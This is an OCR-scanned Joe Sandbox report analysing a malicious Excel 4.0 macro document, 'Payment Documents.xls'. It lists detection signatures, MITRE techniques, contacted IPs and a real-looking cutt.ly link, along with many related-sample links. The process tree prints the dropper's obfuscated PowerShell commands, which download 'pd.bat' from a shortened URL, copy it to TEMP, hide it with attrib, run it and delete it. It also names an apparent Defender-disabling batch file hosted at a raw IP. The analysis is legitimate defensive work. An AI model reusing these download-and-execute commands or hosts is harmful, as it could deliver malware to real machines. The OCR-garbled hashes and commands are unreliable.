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Analysis Report Payment Documents.xls

Overview
General Information Detection Signatures Classification
Sample Payment Documents.xIs

Name: Multi AV Scanner detection for subm...

Analysis ID: 336485 MALICIOUS Document exploit detected (process...

MDS: 3acbebeld7a0dc.. Found Excel 4.0 Macro with suspicio...

SHA1L:

7fafd588f{8b2esf. . Found obfuscated Excel 4.0 Macro
SHA256: €331f9c19372cfd..

scated command line found

Tags: SilentBuilder

Most interesting Screenshot: Sigma detected: Microsoft Office Pr...

Contains long|sleepsi(>=3 min)

Creates alprocess|inisuspendedimo...

Hidden Mac

Document containsiembedded VBA ...

N Score: 68 Enablesidebug)privileges
Range: 0-100 HITTIP GET of POSTF without a Usef; ...
Whitelisted:  false

Confid 100% |IP'addressiseeniiniconnection withio:.:
onfidence: Q)

5 cmemen ariEs) B oo |

Startup

= System is w7x64
. EXCEL.EXE (PID: 1464 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
. cmd.exe (PID: 2316 cmdline: cmd /c powershe/Nl -w 1 stARt -sIE'Ep 3; Move-ltem ‘pd.bat’ -Destination '$e’ nV:T"EMP' MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
e 3§ powershell.exe (PID: 1100 cmdline: powershell -w 1 stARt -sIE'Ep 3; Move-ltem 'pd.bat' -Destination '$e'nV:T"EMP' MD5: 852D67A27E454BD389FA7F02A8CBE23F)
cmd.exe (PID: 2280 cmdline: cmd /c powershe/Ml -w 1 stARt -sIE'Ep 12; Remove-Iltem -Path pd.bat -Force MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41)
e 3§ powershell.exe (PID: 2464 cmdline: powershell -w 1 stARt -sIE'Ep 12; Remove-Item -Path pd.bat -Force MD5: 852D67A27E454BD389FA7F02A8CBE23F)
. cmd.exe (PID: 2328 cmdline: cmd /c powershe/Ml -w 1 stARt -sIE'Ep 1; attrib +s +h pd.bat MD5: 5746BD7E255DD6A8AFAQ6F7C42C1BA41)
e 3§ powershell.exe (PID: 2304 cmdline: powershell -w 1 stARt -SIE'Ep 1; attrib +s +h pd.bat MD5: 852D67A27E454BD389FA7F02A8CBE23F)
e [ attrib.exe (PID: 3048 cmdline: 'C:\Windows\system32\attrib.exe' +s +h pd.bat MD5: C65C20C89A255517F11DD18B056CADBS5)
cmd.exe (PID: 2432 cmdline: cmd /c powershe?IN -w 1 stARt'-sIE'Ep 7;cd '$e’'nV:T EMP; ./pd.bat’' MD5: 5746BD7E255DD6A8AFAQ6F7C42C1BA41)
e EF powershell.exe (PID: 2784 cmdline: powershell -w 1 stARt -SIE'Ep 7;cd '$e'nV:T"EMP; ./pd.bat' MD5: 852D67A27E454BD389FA7F02A8CBE23F)
cmd.exe (PID: 2476 cmdline: cmd /c powershe?IM -w 1 (nEw-0B’jecT Net.WebcLIENt).('Down'+'loadFile’).Invoke(‘https://cutt.ly/3js2g8s','pd.bat’) MD5:
5746BD7E255DD6ABAFA06F7C42C1BA41)
e 4 powershell.exe (PID: 2756 cmdline: powershell -w 1 (nEw-oB’jecT Net.WebcLIENt).('Down'+'loadFile’).Invoke('https://cutt.ly/3js2g8s','pd.bat’) MD5:
852D67A27E454BD389FA7F02A8CBE23F)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source Rule Description Author Strings
Payment Documents.xls SUSP_ExceldMacro_Auto Detects Excel4 John Lambert e 0x0:$header_docf: DO CF 11 EO
Open macro use with @JohnLaTwC e 0x6bc2:$s1: Excel
auto open / close e 0x337f:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00

00 00 00 00 00 00 00 00 01 3A
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Sigma Overview

System Summary:

Sigma detected: Hiding Files with Attrib.exe

Signature Overview

@ AV Detection

@ Spreading

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

® Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Click to jump to signature section

AV Detection:

]

Multi AV Scanner detection for submitted file

Software Vulnerabilities:

‘]

System Summary:

“ =

Data Obfuscation:

‘]

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Network
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effects
Valid Command and Path Process Masquerading os Query Registry Remote Data from  Exfiltration Encrypted Eavesdrof
Accounts  Scripting Interception  Injection Credential Services Local Over Other Channel Insecure
Interpreter Dumping System Network Network
Medium Communic
Default Scripting Boot or Boot or Logon Virtualization/Sandbox LSASS Security Software Remote Data from  Exfiltration Ingress Tool Exploit SS
Accounts Logon Initialization ~ Evasion Memory Discovery Desktop Removable Over Transfer Redirect P
Initialization  Scripts Protocol Media Bluetooth Calls/SMS
Scripts
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Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Behavior Graph

Execution

Exploitation for
Client

Execution

At (Windows)

Cron

Launchd

Scheduled Task

Privilege

Persistence Escalation Defense Evasion

Logon Script Logon Script  Process

(Windows)

Logon Script
(Mac)

Network
Logon Script

Rc.common

Startup
Items

(Windows) Injection

t Logon Script Deobfuscate/Decode
(Mac) Files or Information
Network Scripting

t Logon Script

Rc.common  Steganography

Startup Items  Compile After

Delivery
Behavior Graph
ID: 336485
sample: Payment Documents.xis
Startdate: 06/01/2021
Architecture:  WINDOWS
Score: 68

Credential
Access Discovery

Security Virtualization/Sandbox

Account  Evasion
Manager

NTDS Process Discovery

LSA Remote System
Secrets Discovery

Cached File and Directory

Domain Discovery
Credentials

DCSync System Information

Discovery

- - - -\ e

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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53 Copy ~
# Format Painter
Clipboard
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Formulas

Payment Documents [Compatibility Mode] - Microsoft Excel - Payment Decuments [Compatibility Mode]

Data Review View

) 1
S Wrap Text General - ﬂ % L;‘ﬂ
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&2 Clear =
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Sort & Find &
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Editing

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
Payment Documents.xls

Payment Documents.xls

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches
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Detection
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Scanner
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https://www.virustotal.com/gui/file/e331f9c19372cfd42c85f2bbf26f58e9800c2f14504aed43825c7da3ef913d7a/detection/f-e331f9c19372cfd42c85f2bbf26f58e9800c2f14504aed43825c7da3ef913d7a-1609893162

Domains

Source

cutt.ly

URLs

Source

hitpiwww.%s.comPA
hitpiwww.%s.comPA
hitpiwww.%s.comPA

hitpiwww.%s.comPA

hitp://37.46.150.139/bat/scriptxls_cf6c45a3-4840-422a-8668-e9a12252c924 _thecaball_wddisabler.bat

Domains and IPs

Contacted Domains

Name

Active

Detection

0%

Detection
0%
0%
0%
0%
0%

Malicious

Scanner

Virustotal

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud

Antivirus Detection

Label

Label
safe
safe
safe
safe

safe

Link

Browse

Link

Reputation

Contacted URLs

Name

http://37.46.150.139/bat/scriptxls_cf6c45a3-4840-422a-8668-
e9a12252c924_thecaball_wddisabler.bat

URLs from Memory and Binaries

Name

hitp:/fwww.piriform.com/ccleaner

hitp:/f\www.piriform.com/ccleanerhttp://www.pi

hitpiwww.%s.comPA

http:/f
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

http:/f
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv

hitp:/fwww.piriform.com/ccg

Contacted IPs

Copyright null 2021

Malicious

false

Source

powershell.exe, 0000000A.00000
002.2136026466.000000000035A00
0.00000004.00000020.sdmp, powe
rshell.exe, 00000010.00000002.
2129715881.000000000015C000.00
000004.00000020.sdmp

powershell.exe, 0000000E.00000
002.2114695698.00000000002EE00
0.00000004.00000020.sdmp

powershell.exe, 00000007.00000
002.2118391958.000000000239000
0.00000002.00000001.sdmp, powe
rshell.exe, 0000000A.00000002.
2137449985.0000000002460000.00
000002.00000001.sdmp, powershe
Il.exe, 0000000E.00000002.2115
535825.0000000002350000.000000
02.00000001.sdmp, powershell.exe,
00000010.00000002.21306534
93.00000000023D0000.00000002.0
0000001.sdmp

powershell.exe, 00000007.00000
002.2118391958.000000000239000
0.00000002.00000001.sdmp, powe
rshell.exe, 0000000A.00000002.
2137449985.0000000002460000.00
000002.00000001.sdmp, powershe
Il.exe, 0000000E.00000002.2115
535825.0000000002350000.000000
02.00000001.sdmp

powershell.exe, 0000000A.00000
002.2136026466.000000000035A00
0.00000004.00000020.sdmp, powe
rshell.exe, 00000010.00000002.
2129715881.000000000015C000.00
000004.00000020.sdmp

powershell.exe, 00000007.00000
002.2116883062.000000000035E00
0.00000004.00000020.sdmp

Antivirus Detection

e Avira URL Cloud: safe

Malicious

false

false

false

false

false

false

Antivirus Detection

URL Reputation: safe
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

Reputation

unknown

Reputation

high

high

low

high

high

high
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https://www.virustotal.com/gui/url/d4e0ce17c1faeba6a5fad91acbcde883af34c17d35e58d643441568d60e263a8/detection/u-d4e0ce17c1faeba6a5fad91acbcde883af34c17d35e58d643441568d60e263a8-1609888087
https://www.virustotal.com/gui/url/d4e0ce17c1faeba6a5fad91acbcde883af34c17d35e58d643441568d60e263a8/detection/u-d4e0ce17c1faeba6a5fad91acbcde883af34c17d35e58d643441568d60e263a8-1609888087

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
37.46.150.139 unknown Moldova Republic of & 8758 IWAYCH false
104.22.1.232 unknown United States = 13335 CLOUDFLARENETUS true

General Information

Joe Sandbox Version: 31.0.0 Red Diamond

Analysis ID: 336485

Start date: 06.01.2021

Start time: 08:31:46

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 7m 13s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Payment Documents.xIs
Cookbook file name: defaultwindowsofficecookbook.jbs
Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,

Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 20
Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o O o o

Number of injected processes analysed:

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal68.expl.evad.winXLS@26/14@1/2
EGA Information: Failed

Copyright null 2021 Page 9 of 44



HDC Information: Failed
HCA Information: e Successful, ratio: 60%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI

Found application associated with file extension:
Xls

Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM

Scroll down

Close Viewer

Warnings: Show All
e Exclude process from analysis (whitelisted):

dllhost.exe, conhost.exe, svchost.exe

e Excluded IPs from analysis (whitelisted):
2.20.142.210, 2.20.142.209

e Excluded domains from analysis (whitelisted):
au.download.windowsupdate.com.edgesuite.net,
audownload.windowsupdate.nsatc.net,
ctldl.windowsupdate.com, a767.dscg3.akamai.net,
au-bg-shim.trafficmanager.net

Simulations

Behavior and APIs

Time Type Description

08:32:50 API Interceptor 281x Sleep call for process: powershell.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 37.46.150
.139/bat/s
criptxls_6
87c7069-ef4b-
4efe-b745-
594285a
9a92b_mic2
_wddisable
r.bat

37.46.150.139

Get hash malicious Browse e 37.46.150
.139/bat/s
criptxls_2
7c96e3c-9015-
4716-8c85-
64582d9
6aaaf_zill
a07_wdexcl
usion.bat

Get hash malicious Browse e 37.46.150
.139/bat/s
criptxls_0
47e37f7-e236-
4c64-9509-
111694
3b4e0_mic2
_wddisable
r.bat

37.46.150
.139/bat/s
criptxls_3
357e6d8-1780-
4654-872a-
eca3aa3
75ffd_king
shakes_wde
xclusion.bat

Get hash malicious Browse

Copyright null 2021 Page 10 of 44


https://view.joesandbox.com/analysis/252512/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid

Match

104.22.1.232

Domains

Match
cutt.ly

ASN

Match
CLOUDFLARENETUS

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash

Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Context

37.46.150
.139/bat/s
criptxls_4
3922847-73c3-
4df3-b101-
5fod12f
30aed_mic2
_wddisable
r.bat

37.46.150
.139/bat/s
criptxls_4
3922847-73c3-
4df3-b101-
5fod12f
30aed_mic2
_wddisable
r.bat

37.46.150
.139/bat/s
criptxls_9
29f596a-b84d-
4151-a6b5-
c95e07d
329c0_fran
kie777_wdd
isabler.bat

37.46.150
.139/bat/s
criptxls_d
8648b70-66b3-
4072-9876-
0224b20
4a193_spic
ytorben_wd
exclusion.bat

cutt.ly/

Context

104.22.1.232
104.22.0.232
104.22.0.232
172.67.8.238

104.22.1.232
172.67.8.238
104.22.0.232
172.67.8.238
104.22.0.232
104.22.1.232
172.67.8.238
172.67.8.238
172.67.8.238
172.67.8.238
104.22.1.232
104.22.0.232
172.67.8.238
104.22.1.232
172.67.8.238
172.67.8.238

Context

104.22.1.232
172.67.188.154
104.28.5.151
172.67.179.45
104.16.203.237
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https://view.joesandbox.com/analysis/252318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252318/html/none?idtype=webid
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid
https://view.joesandbox.com/analysis/252262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252262/html/none?idtype=webid
https://view.joesandbox.com/analysis/251231/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251231/html/none?idtype=webid
https://view.joesandbox.com/analysis/213136/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213136/html/none?idtype=webid
https://view.joesandbox.com/analysis/252798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252798/html/none?idtype=webid
https://view.joesandbox.com/analysis/252701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252701/html/none?idtype=webid
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid
https://view.joesandbox.com/analysis/252318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252318/html/none?idtype=webid
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid
https://view.joesandbox.com/analysis/252262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252262/html/none?idtype=webid
https://view.joesandbox.com/analysis/248704/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248704/html/none?idtype=webid
https://view.joesandbox.com/analysis/248699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248699/html/none?idtype=webid
https://view.joesandbox.com/analysis/248696/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248696/html/none?idtype=webid
https://view.joesandbox.com/analysis/248419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248419/html/none?idtype=webid
https://view.joesandbox.com/analysis/248263/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248263/html/none?idtype=webid
https://view.joesandbox.com/analysis/247867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247867/html/none?idtype=webid
https://view.joesandbox.com/analysis/247856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247856/html/none?idtype=webid
https://view.joesandbox.com/analysis/247729/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247729/html/none?idtype=webid
https://view.joesandbox.com/analysis/247603/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247603/html/none?idtype=webid
https://view.joesandbox.com/analysis/247599/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247599/html/none?idtype=webid
https://view.joesandbox.com/analysis/247597/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247597/html/none?idtype=webid
https://view.joesandbox.com/analysis/252798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252798/html/none?idtype=webid
https://view.joesandbox.com/analysis/252796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252796/html/none?idtype=webid
https://view.joesandbox.com/analysis/252795/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252795/html/none?idtype=webid
https://view.joesandbox.com/analysis/252786/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252786/html/none?idtype=webid
https://view.joesandbox.com/analysis/252785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252785/html/none?idtype=webid

Match

IWAYCH

JA3 Fingerprints

Match
05af1f5calb87cc9cc9b25185115607d

Copyright null 2021

Associated Sample Name /| URL SHA 256
Get hash

=

Get hash

Get hash

=

Get hash

Get hash

=

Get hash

=

Get hash

Get hash
Get hash
Get hash

Get hash

-

Get hash

E

Get hash
Get hash

E

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name /| URL SHA 256
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

104.16.19.94

104.16.18.94

172.64.170.19
104.16.18.94

104.16.18.94
104.18.70.113

104.16.115.104

172.67.156.125
104.18.225.52
104.18.70.113

104.16.19.94

162.159.13
8.232

104.26.3.186
104.17.115.17

104.23.98.190
37.46.150.139
37.46.150.139

37.46.150.139
37.46.150.139
37.46.150.139
37.46.150.139
37.46.150.139
37.46.150.139
37.46.150.238
37.46.150.211
37.46.150.211
37.46.150.60
37.46.150.60
37.46.150.184
37.46.150.41
37.46.150.41
37.46.150.41
37.46.150.41
37.46.150.41
37.46.150.41

Context

104.22.1.232
104.22.1.232

104.22.1.232
104.22.1.232
104.22.1.232
104.22.1.232
104.22.1.232
104.22.1.232
104.22.1.232
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https://view.joesandbox.com/analysis/252778/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252778/html/none?idtype=webid
https://view.joesandbox.com/analysis/252762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252762/html/none?idtype=webid
https://view.joesandbox.com/analysis/252761/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252761/html/none?idtype=webid
https://view.joesandbox.com/analysis/252751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252751/html/none?idtype=webid
https://view.joesandbox.com/analysis/252749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252749/html/none?idtype=webid
https://view.joesandbox.com/analysis/252741/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252741/html/none?idtype=webid
https://view.joesandbox.com/analysis/252738/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252738/html/none?idtype=webid
https://view.joesandbox.com/analysis/252733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252733/html/none?idtype=webid
https://view.joesandbox.com/analysis/252730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252730/html/none?idtype=webid
https://view.joesandbox.com/analysis/252729/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252729/html/none?idtype=webid
https://view.joesandbox.com/analysis/252726/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252726/html/none?idtype=webid
https://view.joesandbox.com/analysis/252722/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252722/html/none?idtype=webid
https://view.joesandbox.com/analysis/252721/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252721/html/none?idtype=webid
https://view.joesandbox.com/analysis/252715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252715/html/none?idtype=webid
https://view.joesandbox.com/analysis/252710/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252710/html/none?idtype=webid
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252361/html/none?idtype=webid
https://view.joesandbox.com/analysis/252318/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252318/html/none?idtype=webid
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252307/html/none?idtype=webid
https://view.joesandbox.com/analysis/252262/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252262/html/none?idtype=webid
https://view.joesandbox.com/analysis/251231/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251231/html/none?idtype=webid
https://view.joesandbox.com/analysis/251053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251053/html/none?idtype=webid
https://view.joesandbox.com/analysis/250851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250851/html/none?idtype=webid
https://view.joesandbox.com/analysis/250830/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250830/html/none?idtype=webid
https://view.joesandbox.com/analysis/249606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249606/html/none?idtype=webid
https://view.joesandbox.com/analysis/249553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249553/html/none?idtype=webid
https://view.joesandbox.com/analysis/249334/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249334/html/none?idtype=webid
https://view.joesandbox.com/analysis/247474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247474/html/none?idtype=webid
https://view.joesandbox.com/analysis/246958/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246958/html/none?idtype=webid
https://view.joesandbox.com/analysis/246260/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246260/html/none?idtype=webid
https://view.joesandbox.com/analysis/246254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246254/html/none?idtype=webid
https://view.joesandbox.com/analysis/246188/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246188/html/none?idtype=webid
https://view.joesandbox.com/analysis/246182/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246182/html/none?idtype=webid
https://view.joesandbox.com/analysis/252798/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252798/html/none?idtype=webid
https://view.joesandbox.com/analysis/252732/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252732/html/none?idtype=webid
https://view.joesandbox.com/analysis/252701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252701/html/none?idtype=webid
https://view.joesandbox.com/analysis/252662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252662/html/none?idtype=webid
https://view.joesandbox.com/analysis/252614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252614/html/none?idtype=webid
https://view.joesandbox.com/analysis/252596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252596/html/none?idtype=webid
https://view.joesandbox.com/analysis/252595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252595/html/none?idtype=webid
https://view.joesandbox.com/analysis/252592/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252592/html/none?idtype=webid
https://view.joesandbox.com/analysis/252574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252574/html/none?idtype=webid

Match

Dropped Files

No context

Created / dropped Fil

Associated Sample Name /| URL SHA 256
Get hash

Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

es

Detection

malicious

malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Context

e 104.22.1.232

e 104.22.1.232
e 104.22.1.232
e 104.22.1.232
e 104.22.1.232

e 104.22.1.232
e 104.22.1.232
e 104.22.1.232
e 104.22.1.232
e 104.22.1.232
e 104.22.1.232

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cixQh+alE/sSkoWYrgEHqCinmXdBDz2mi:i/LAVEZrGelxOhoW6qCLANz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1ASA151EDA2A7AAG64D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false

Reputation: high, very likely benign file

Preview:

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriCache\MetaData\77EC63BDA74BDOD0E0426DC8F8008506

W

Lls.
.60...eCS4.0......d..}.<,nh.;....)...e.]...Cx..f.8.Z.&.G.....
o\.cD"0."Y...SV..g...Y....o.=....k.u.

S.O>C#.pfiT UL

=H4.U=..X..gqn.+S.MJ....y.n.v.XC...

s wz AgY.

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: data
Category: dropped
Size (bytes): 326
Entropy (8bit): 3.1170519944677513
Encrypted: false
SSDEEP: 6:kKssiswwDN+SkQIPIEGYRMY9z+4KIDA3RUegeT6If:0vkPIE99SNxAhUege T2
MD5: CD3961EBFFFFD37D95E68E524FE6353D
SHAL: 57FBB7AD03054474D2FCECB7F945C7973780FF70
SHA-256: 8AOBF510C3B7C44B77F74D9FF2A3816451B5036A08E6B79C07180C545A3E53DC
SHA-512: 514C98796857EC0215018FF2E7B912A11425554C9D1300CA79FADBEB972925E13E9E3C098A1B9530233CB2E13AD69036D6F2E968CIES4F7BF30790FBIC500B6C
Malicious: false
Preview:
Peoveer e R (e Yo $e 8 httpe//etldd wind.ows.up.dadte..com/ms.dow.nlo.ad./update/v.3./ls

tatic/truste.d.r./

.e.n/authro.ots.tl.cab.."0.6.9.559.e.2.a.0.d.6.1.:.0."..

C:\Users\user\AppData\Local\Temp\B5FE0000

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
File Type: data

Category: dropped

Size (bytes): 11834

Entropy (8bit):  7.045036504987459
Copyright null 2021
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https://view.joesandbox.com/analysis/252560/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252560/html/none?idtype=webid
https://view.joesandbox.com/analysis/252559/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252559/html/none?idtype=webid
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252546/html/none?idtype=webid
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252512/html/none?idtype=webid
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252405/html/none?idtype=webid
https://view.joesandbox.com/analysis/252395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252395/html/none?idtype=webid
https://view.joesandbox.com/analysis/252388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252388/html/none?idtype=webid
https://view.joesandbox.com/analysis/252379/html/none?idtype=webid#static
